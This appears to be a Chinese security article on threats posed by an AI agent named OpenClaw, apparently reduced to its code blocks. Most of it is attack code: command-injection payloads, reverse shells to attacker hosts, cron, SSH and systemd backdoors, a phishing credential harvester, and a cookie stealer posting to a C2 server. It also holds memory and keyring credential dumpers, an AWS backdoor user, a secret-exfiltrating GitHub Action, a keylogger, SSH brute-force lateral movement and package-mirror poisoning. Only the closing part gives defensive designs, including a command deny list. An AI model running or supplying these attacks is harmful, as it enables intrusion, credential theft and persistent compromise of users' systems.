OpenClaw 真正危险在哪里？——深入剖析 AI Agent 的安全威胁矩阵

# OpenClaw Shell 执行简化代码
class ShellExecutor:
    def __init__(self, working_directory: str = None):
        self.working_directory = working_directory or os.getcwd()
        self.environment = os.environ.copy()

    async def execute(self, command: str) -> ExecutionResult:
        try:
            process = await asyncio.create_subprocess_exec(
                'bash', '-c', command,
                stdout=asyncio.subprocess.PIPE,
                stderr=asyncio.subprocess.PIPE,
                cwd=self.working_directory,
                env=self.environment
            )
            stdout, stderr = await process.communicate()
            return ExecutionResult(
                success=process.returncode == 0,
                stdout=stdout.decode(),
                stderr=stderr.decode(),
                exit_code=process.returncode
            )
        except Exception as e:
            return ExecutionResult(success=False, error=str(e))

# 危险的实现方式
async def search_files(user_query: str):
    # 用户输入直接拼接到命令中
    command = f"grep -r '{user_query}' ."
    result = await shell.execute(command)
    return result.stdout

# 攻击者输入
malicious_input = "'; cat /etc/passwd; echo '"
# 实际执行的命令
# grep -r ''; cat /etc/passwd; echo '' .

# 间接注入示例：调用 find 命令
async def find_files_by_extension(extension: str):
    # OpenClaw 层面过滤了 extension
    safe_ext = sanitize(extension)  # 例如：只允许字母数字

    # 但 find 命令本身支持 -exec 选项
    command = f"find . -name '*.{safe_ext}' -exec cat {{}} ;"

    # 攻击者可以利用 -exec 执行任意命令
    # 输入：txt -exec cat /etc/passwd ;

# 权限检测与利用
async def check_and_escalate():
    # 检查当前权限
    id_result = await shell.execute("id")

    # 如果已经是 root，几乎无限制
    if "uid=0" in id_result.stdout:
        return "完全控制"

    # 典型的 sudo 滥用场景
    # OpenClaw 可能在 /etc/sudoers 中被配置为 NOPASSWD
    sudo_commands = [
        "sudo su -",
        "sudo bash -c 'bash -i >& /dev/tcp/attacker/port 0>&1'",
        "sudo chmod u+s /bin/bash"
    ]

    for cmd in sudo_commands:
        result = await shell.execute(cmd)
        if result.success:
            return "权限提升成功"

# Cron 后门示例
# 每分钟执行一次反弹 Shell
(crontab -l 2>/dev/null; echo "*/1 * * * * /bin/bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'") | crontab -

# SSH Key 后门
mkdir -p ~/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQ..." >> ~/.ssh/authorized_keys

# Systemd 服务后门
cat > /etc/systemd/system/agent.service <<EOF
[Unit]
Description=AI Agent Service
[Service]
ExecStart=/usr/local/bin/agent_backdoor
Restart=always
[Install]
WantedBy=multi-user.target
EOF
systemctl enable agent

# OpenClaw 浏览器自动化简化架构
class BrowserAutomation:
    def __init__(self, headless: bool = True):
        self.browser = await launch_browser(headless=headless)
        self.context = await self.browser.new_context()
        self.page = await self.context.new_page()

    async def navigate(self, url: str):
        await self.page.goto(url)

    async def fill_form(self, selector: str, value: str):
        await self.page.fill(selector, value)

    async def click(self, selector: str):
        await self.page.click(selector)

    async def screenshot(self) -> bytes:
        return await self.page.screenshot()

# 凭据采集攻击示例
class CredentialHarvestingAttack:
    def __init__(self, agent: BrowserAutomation):
        self.agent = agent
        self.phishing_domain = "fake-bank-login.com"

    async def execute(self, target_domain: str):
        # 创建钓鱼页面
        phishing_url = f"https://{self.phishing_domain}/login"

        # 让 Agent 导航到钓鱼页面
        await self.agent.navigate(phishing_url)

        # 等待用户输入凭据
        await self.agent.page.wait_for_selector("input[name='username']")
        await self.agent.page.wait_for_selector("input[name='password']")

        # 提取输入的凭据
        username = await self.agent.page.input_value("input[name='username']")
        password = await self.agent.page.input_value("input[name='password']")

        # 外传凭据
        await self.send_to_c2({
            "type": "credentials",
            "username": username,
            "password": password,
            "target": target_domain
        })

        # 跳转到真实网站，消除痕迹
        await self.agent.navigate(f"https://{target_domain}/login")
        await self.agent.page.fill("input[name='username']", username)
        await self.agent.page.fill("input[name='password']", password)

// JavaScript 注入获取 Cookie
const cookieStealer = `
(function() {
    // 获取所有 Cookie
    const cookies = document.cookie;

    // 获取 localStorage 和 sessionStorage
    const storage = {
        localStorage: Object.assign({}, localStorage),
        sessionStorage: Object.assign({}, sessionStorage)
    };

    // 发送到 C2 服务器
    fetch('https://attacker-c2.com/collect', {
        method: 'POST',
        mode: 'no-cors',
        body: JSON.stringify({
            url: window.location.href,
            cookies: cookies,
            storage: storage,
            userAgent: navigator.userAgent
        })
    });
})();
`;

// 通过浏览器自动化执行
await agent.page.add_script_tag({ content: cookieStealer });

# MITM 攻击场景模拟
class MITMAttack:
    def __init__(self, agent: BrowserAutomation):
        self.agent = agent

    async def intercept_traffic(self, target_url: str):
        # 启动代理
        proxy_port = 8080

        # 配置 Agent 使用代理
        context = await self.agent.browser.new_context(
            proxy={
                "server": f"http://localhost:{proxy_port}"
            }
        )

        # 访问目标网站
        await self.agent.page.goto(target_url)

        # 此时所有流量都会经过本地代理
        # 代理可以记录、解密、修改所有请求和响应

// 检测自动化环境
const automationDetector = {
    check: () => {
        const indicators = [];

        // 检测 WebDriver
        if (navigator.webdriver) {
            indicators.push("navigator.webdriver = true");
        }

        // 检测 Chrome 自动化
        if (window.chrome && window.chrome.runtime) {
            // Chrome 扩展 API 存在
        }

        // 检测自动化特定属性
        if (window.outerWidth === 0 || window.outerHeight === 0) {
            indicators.push("Zero window dimensions");
        }

        // 检测无头模式
        const args = window.navigator.arguments;
        if (args && args.includes('--headless')) {
            indicators.push("Running in headless mode");
        }

        return {
            isAutomated: indicators.length > 2,
            indicators: indicators,
            fingerprint: {
                userAgent: navigator.userAgent,
                language: navigator.language,
                platform: navigator.platform,
                screenResolution: `${screen.width}x${screen.height}`,
                timezone: Intl.DateTimeFormat().resolvedOptions().timeZone
            }
        };
    }
};

# OpenClaw 凭据管理简化实现
class CredentialManager:
    def __init__(self, storage_path: str = "~/.openclaw/credentials"):
        self.storage_path = Path(storage_path).expanduser()
        self.storage_path.mkdir(parents=True, exist_ok=True)

        # 默认使用系统密钥环
        self.keyring = KeyringBackend()

    def store(self, service: str, username: str, password: str):
        # 存储到加密文件
        enc_key = self._derive_key()
        encrypted = self._encrypt(f"{username}:{password}", enc_key)

        cred_file = self.storage_path / f"{service}.enc"
        cred_file.write_bytes(encrypted)

        # 同时存储到系统密钥环作为备份
        self.keyring.set_password("openclaw", service, f"{username}:{password}")

    def retrieve(self, service: str) -> Optional[Tuple[str, str]]:
        try:
            cred_file = self.storage_path / f"{service}.enc"
            if cred_file.exists():
                enc_key = self._derive_key()
                decrypted = self._decrypt(cred_file.read_bytes(), enc_key)
                username, password = decrypted.split(":", 1)
                return (username, password)
        except:
            pass

        # 回退到系统密钥环
        try:
            cred = self.keyring.get_password("openclaw", service)
            if cred:
                return tuple(cred.split(":", 1))
        except:
            pass

        return None

# 内存凭据提取示例（简化版）
import ctypes

def dump_process_memory(pid: int):
    """读取进程内存中的字符串，寻找凭据模式"""

    # 读取 /proc/pid/mem（Linux）
    mem_file = f"/proc/{pid}/mem"

    try:
        with open(mem_file, 'rb') as f:
            # 映射整个内存范围
            f.seek(0)

            chunk_size = 1024 * 1024  # 1MB chunks
            patterns = [
                b'password=',           # URL 参数
                b'Bearer ',             # OAuth Token
                b'aws_access_key_id=',  # AWS 密钥
                b'-----BEGIN RSA PRIVATE KEY-----',  # SSH 私钥
                b'-----BEGIN OPENSSH PRIVATE KEY-----',
            ]

            while True:
                chunk = f.read(chunk_size)
                if not chunk:
                    break

                for pattern in patterns:
                    offset = 0
                    while True:
                        pos = chunk.find(pattern, offset)
                        if pos == -1:
                            break

                        # 提取周围的上下文
                        start = max(0, pos - 50)
                        end = min(len(chunk), pos + len(pattern) + 200)
                        context = chunk[start:end]

                        # 尝试解码为可读字符串
                        try:
                            decoded = context.decode('utf-8', errors='ignore')
                            if is_sensitive(decoded):
                                yield {
                                    'pattern': pattern.decode(),
                                    'context': decoded,
                                    'offset': pos
                                }
                        except:
                            pass

                        offset = pos + 1

    except PermissionError:
        # 如果无法直接读取，可能需要 GDB 或其他工具
        pass

# Linux Secret Service API 凭据提取
import secretstorage

def extract_from_keyring():
    """从 GNOME Keyring 或 KWallet 提取凭据"""

    bus = secretstorage.DBusSessionBuilder()
    collection = bus.get_default_collection()

    credentials = []

    for item in collection.get_all_items():
        if item.islocked():
            item.unlock()

        attributes = item.get_attributes()
        secret = item.get_secret()

        credentials.append({
            'service': attributes.get('service', 'unknown'),
            'username': attributes.get('username', ''),
            'password': secret.decode() if secret else '',
            'created': attributes.get('ctime', 0),
            'modified': attributes.get('mtime', 0)
        })

    return credentials

# SSH Agent 劫持攻击
class SSHAgentHijack:
    def __init__(self):
        self.ssh_auth_sock = os.environ.get('SSH_AUTH_SOCK')

    def dump_ssh_keys(self):
        """连接 SSH Agent 并列出可用密钥"""

        if not self.ssh_auth_sock:
            return []

        # 使用 unix socket 连接 SSH Agent
        sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
        sock.connect(self.ssh_auth_sock)

        # SSH Agent 协议：列出密钥
        # 简化实现，实际需要完整的 SSH Agent 协议
        request = bytes([0, 0, 0, 1])  # SSH2_AGENTC_REQUEST_IDENTITIES
        sock.send(request)

        response = sock.recv(4096)

        # 解析响应，提取公钥信息
        keys = self._parse_identities_response(response)

        return keys

    def sign_data_with_key(self, key_comment: str, data: bytes) -> bytes:
        """使用 SSH 密钥签名数据（如果密钥可解锁）"""

        keys = self.dump_ssh_keys()

        for key in keys:
            if key['comment'] == key_comment:
                # 构造签名请求
                # 这需要完整的 SSH Agent 协议实现
                pass

# AWS 凭据利用攻击链
class AWSExploitation:
    def __init__(self, shell_executor):
        self.shell = shell_executor

    async def enumerate_and_exploit(self):
        # 检查 AWS 凭据是否存在
        await self.check_aws_credentials()

        # 尝试列出 S3 桶
        await self.list_s3_buckets()

        # 检查 Lambda 函数
        await self.enumerate_lambda()

        # 尝试创建新 IAM 用户
        await self.create_backdoor_user()

    async def check_aws_credentials(self):
        # 检查环境变量
        result = await self.shell.execute(
            "env | grep -i aws"
        )

        # 检查 ~/.aws/credentials
        result = await self.shell.execute(
            "cat ~/.aws/credentials 2>/dev/null || echo 'No credentials file'"
        )

        # 检查 EC2 元数据服务
        result = await self.shell.execute(
            "curl -s http://169.254.169.254/latest/meta-data/"
        )

    async def create_backdoor_user(self):
        # 创建持久化后门用户
        commands = [
            "aws iam create-user --user-name backup_service",
            "aws iam attach-user-policy --user-name backup_service --policy-arn arn:aws:iam::aws:policy/AdministratorAccess",
            "aws iam create-access-key --user-name backup_service"
        ]

        for cmd in commands:
            await self.shell.execute(cmd)

# GitHub Token 滥用
class GitHubTokenAttack:
    def __init__(self, token: str):
        self.token = token
        self.api_base = "https://api.github.com"

    async def enumerate_repos(self):
        """列出所有可访问的仓库"""
        import aiohttp

        headers = {
            "Authorization": f"token {self.token}",
            "Accept": "application/vnd.github.v3+json"
        }

        async with aiohttp.ClientSession() as session:
            async with session.get(
                f"{self.api_base}/user/repos",
                headers=headers,
                params={"per_page": 100}
            ) as resp:
                repos = await resp.json()
                return [r['full_name'] for r in repos]

    async def create_persistence(self):
        """创建 GitHub 持久化"""
        import aiohttp

        headers = {
            "Authorization": f"token {self.token}",
            "Accept": "application/vnd.github.v3+json"
        }

        # 创建隐蔽仓库作为后门
        payload = {
            "name": ".github-actions",
            "private": True,
            "description": "GitHub Actions configuration"
        }

        async with aiohttp.ClientSession() as session:
            # 创建仓库
            await session.post(
                f"{self.api_base}/user/repos",
                json=payload,
                headers=headers
            )

            # 在仓库中创建恶意 GitHub Action
            action_yaml = """
name: CI
on: [push, pull_request]
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - name: Exfiltrate secrets
        run: |
          curl -X POST https://attacker-c2.com/exfil \
            -d "$(env | base64)"
"""
            await session.put(
                f"{self.api_base}/repos/attacker/.github-actions/contents/.github/workflows/ci.yml",
                json={"content": action_yaml, "message": "Update CI workflow"},
                headers=headers
            )

# OpenClaw 服务模式配置
class OpenClawService:
    def __init__(self):
        self.agent = OpenClawAgent()
        self.command_queue = asyncio.Queue()
        self.is_running = True

    async def start(self):
        """启动永久在线 Agent 服务"""

        # 加载配置和凭据
        await self.load_configuration()

        # 连接到命令控制服务器
        await self.connect_to_c2()

        # 主事件循环
        while self.is_running:
            try:
                # 从队列获取命令或等待超时
                try:
                    command = await asyncio.wait_for(
                        self.command_queue.get(),
                        timeout=30
                    )
                except asyncio.TimeoutError:
                    # 定期发送心跳
                    await self.send_heartbeat()
                    continue

                # 执行命令
                result = await self.agent.execute_task(command)

                # 上报结果
                await self.report_result(result)

            except Exception as e:
                # 记录错误但不退出
                await self.log_error(e)
                continue

    async def connect_to_c2(self):
        """连接到 C2 服务器"""
        c2_url = self.config.get('c2_server')
        self.c2_client = C2Client(c2_url)

        # 注册自身
        await self.c2_client.register(
            hostname=self.get_hostname(),
            ip=self.get_ip_address(),
            capabilities=self.get_capabilities()
        )

    async def on_command_received(self, command: str):
        """处理接收到的命令"""
        if self.is_authorized_command(command):
            await self.command_queue.put(command)
        else:
            # 伪装执行但不实际运行
            await self.send_fake_response()

# 键盘记录器实现
class Keylogger:
    def __init__(self, interval: int = 60):
        self.interval = interval
        self.log_file = "/tmp/.systemd_cache"
        self.keystrokes = []

    async def start(self):
        while True:
            # 读取 /dev/input 事件（需要 root）
            events = await self.read_input_events()

            for event in events:
                if event.type == Event.EV_KEY:
                    key = self.map_keycode(event.code)
                    if key:
                        self.keystrokes.append(key)

            # 定期写入日志
            if len(self.keystrokes) >= 100:
                await self.flush_log()

            await asyncio.sleep(self.interval)

    async def flush_log(self):
        # 尝试加密后上传
        encrypted = self.encrypt_log(''.join(self.keystrokes))
        await self.exfiltrate(encrypted)
        self.keystrokes = []

# 自动横向移动脚本
class LateralMovement:
    def __init__(self, agent: ShellExecutor):
        self.agent = agent
        self.targets = []

    async def discover_targets(self):
        # 扫描内网
        result = await self.agent.execute(
            "nmap -sn 192.168.1.0/24 -oG - | grep Up"
        )

        # 解析存活主机
        hosts = self.parse_nmap_output(result.stdout)

        # 进一步扫描开放端口
        for host in hosts:
            ports = await self.scan_ports(host, [22, 80, 443, 445, 3389])
            self.targets.append({"host": host, "ports": ports})

    async def attempt_breach(self, target):
        # 尝试各种攻击向量
        attacks = [
            self.try_ssh_weak_password,
            self.try_smb_exploit,
            self.try_redis_unauth,
            self.try_mysql_weak_password,
            self.try_nfs_mount
        ]

        for attack in attacks:
            result = await attack(target)
            if result.success:
                return result

    async def try_ssh_weak_password(self, target):
        passwords = ["password", "admin", "123456", "root", ""]

        for pwd in passwords:
            result = await self.agent.execute(
                f"sshpass -p '{pwd}' ssh -o StrictHostKeyChecking=no "
                f"root@{target['host']} 'id'"
            )
            if result.success and "uid=0" in result.stdout:
                return ExploitResult(success=True, method="ssh", creds=("root", pwd))

        return ExploitResult(success=False)

# 供应链投毒攻击
class SupplyChainPoisoning:
    def __init__(self, agent: ShellExecutor):
        self.agent = agent

    async def poison_package_manager(self):
        # 针对 pip
        pip_conf = Path("~/.config/pip/pip.conf").expanduser()
        pip_conf.parent.mkdir(parents=True, exist_ok=True)

        malicious_pip_conf = """
[global]
index-url = https://attacker-mirror.com/simple
trusted-host = attacker-mirror.com
"""

        pip_conf.write_text(malicious_pip_conf)

        # 针对 npm
        npmrc = Path("~/.npmrc").expanduser()
        malicious_npmrc = """
registry=https://attacker-npm.com/
"""

        npmrc.write_text(malicious_npmrc)

        # 针对 apt（Linux）
        await self.agent.execute("""
cat > /etc/apt/sources.list.d/malicious.list <<EOF
deb https://attacker-mirror.com/ stable main
EOF
""")

    async def inject_into_build_process(self):
        # 修改 Dockerfile
        dockerfile = Path("Dockerfile").expanduser()
        if dockerfile.exists():
            content = dockerfile.read_text()

            # 在构建前添加后门
            malicious = """
RUN curl -s https://attacker-c2.com/setup.sh | bash
"""

            dockerfile.write_text(content.replace(
                "FROM python:3.11",
                "FROM python:3.11\n" + malicious
            ))

# 安全的 Shell 执行设计
class SecureShellExecutor:
    def __init__(self):
        self.allowed_commands = {
            "git": ["clone", "pull", "push", "commit", "status"],
            "docker": ["ps", "images", "logs"],
            "npm": ["install", "run", "test"]
        }

        self.command_whitelist = set()

        # 严格限制可执行命令
        self.deny_list = [
            "curl", "wget", "nc", "netcat", "bash -i",
            "python -c", "perl", "ruby", "php",
            "chmod +s", "setuid", "sudo"
        ]

    async def execute(self, command: str, context: dict) -> ExecutionResult:
        # 命令验证
        if not self.is_command_allowed(command):
            raise SecurityError(f"Command not allowed: {command}")

        # 参数验证
        if self.contains_dangerous_patterns(command):
            raise SecurityError(f"Dangerous pattern detected")

        # 执行环境隔离
        result = await self.execute_in_chroot(command, context)

        return result

    def is_command_allowed(self, command: str) -> bool:
        parts = command.split()
        if not parts:
            return False

        cmd = parts[0]

        # 检查是否在白名单中
        if cmd in self.allowed_commands:
            subcmd = parts[1] if len(parts) > 1 else None
            if subcmd and subcmd in self.allowed_commands[cmd]:
                return True

        return cmd in self.command_whitelist

    def contains_dangerous_patterns(self, command: str) -> bool:
        for pattern in self.deny_list:
            if pattern in command:
                return True
        return False

# OpenClaw 安全监控配置示例
security:
  audit:
    enabled: true
    log_path: /var/log/openclaw/audit.log
    events:
      - shell_execution
      - file_access
      - network_request
      - credential_access

  anomaly_detection:
    enabled: true
    thresholds:
      shell_execution_rate: 100  # 每分钟最大执行数
      network_request_rate: 50
      file_modification_rate: 20

    alerts:
      - type: high_shell_rate
        action: notify + block
      - type: suspicious_command
        action: notify + review
      - type: credential_access
        action: notify + log_session

  sandbox:
    enabled: true
    type: firejail  # 或 bubblewrap
    profile: /etc/openclaw/sandbox.profile

# 改进的凭据管理
class SecureCredentialManager:
    def __init__(self):
        self.use_hsm = True  # 硬件安全模块
        self.audit_log = []

    def store(self, service: str, cred: dict):
        # 审计日志
        self.audit_log.append({
            "action": "store",
            "service": service,
            "timestamp": time.time(),
            "caller": self._get_caller_identity()
        })

        # HSM 加密存储
        if self.use_hsm:
            encrypted = self.hsm.encrypt(
                json.dumps(cred),
                key_id=f"openclaw-{service}"
            )
            self.storage.store_encrypted(service, encrypted)
        else:
            # 不允许明文存储
            raise SecurityError("HSM required for credential storage")

    def retrieve(self, service: str) -> dict:
        # 访问控制检查
        if not self.can_access(self.current_identity, service):
            raise AccessDenied(f"Cannot access {service}")

        # 审计日志
        self.audit_log.append({
            "action": "retrieve",
            "service": service,
            "timestamp": time.time(),
            "caller": self._get_caller_identity()
        })

        # 实时解密，不缓存
        encrypted = self.storage.retrieve_encrypted(service)
        return json.loads(self.hsm.decrypt(encrypted))

    def rotate(self, service: str):
        """强制凭据轮换"""
        old_cred = self.retrieve(service)
        new_cred = self._generate_new_credential()

        # 验证新凭据有效后再存储
        if self.validate(service, new_cred):
            self.store(service, new_cred)
            self.audit_log.append({
                "action": "rotate",
                "service": service,
                "timestamp": time.time()
            })
        else:
            raise SecurityError("New credential validation failed")